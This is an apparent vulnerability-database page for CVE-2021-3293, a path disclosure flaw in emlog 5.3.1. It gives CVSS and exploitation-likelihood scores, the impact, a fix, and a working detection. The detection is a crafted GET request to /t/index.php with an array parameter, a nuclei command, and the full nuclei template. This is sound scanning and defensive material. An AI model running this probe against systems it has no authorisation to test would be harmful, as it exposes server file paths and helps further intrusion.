HexBrain

Browse / CVEs / CVE-2021-3293

CVE-2021-3293· emlog / emlog· CWE-22

emlog 5.3.1 Path Disclosure

mediumseverity
5.3CVSS score
19.9%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

emlog v5.3.1 is susceptible to full path disclosure via t/index.php, which allows an attacker to see the path to the webroot/file.

Impact

An attacker can gain knowledge of the server's file system structure, potentially leading to further attacks.

Fix

Apply the latest patch or upgrade to a version that fixes the vulnerability.

How to confirm it

Send: GET /t/index.php?action[]=aaaa
Positive when: contains "<b>Warning</b>" and "on line" and "expects parameter" AND status 200

Run it with nuclei: nuclei -id CVE-2021-3293 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-3293

info:
  name: emlog 5.3.1 Path Disclosure
  author: h1ei1
  severity: medium
  description: emlog v5.3.1 is susceptible to full path disclosure via t/index.php, which allows an attacker to see the path to the webroot/file.
  impact: |
    An attacker can gain knowledge of the server's file system structure, potentially leading to further attacks.
  remediation: |
    Apply the latest patch or upgrade to a version that fixes the vulnerability.
  reference:
    - https://github.com/emlog/emlog/issues/62
    - https://github.com/thinkgad/Bugs/blob/main/emlog%20v5.3.1%20has%20Full%20Path%20Disclosure%20vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3293
    - https://github.com/Z0fhack/Goby_POC
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-3293
    cwe-id: CWE-22
    epss-score: 0.19901
    epss-percentile: 0.97446
    cpe: cpe:2.3:a:emlog:emlog:5.3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: emlog
    product: emlog
  tags: cve2021,cve,emlog,fpd,vuln

http:
  - raw:
      - |
        GET /t/index.php?action[]=aaaa HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<b>Warning</b>"
          - "on line"
          - "expects parameter"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from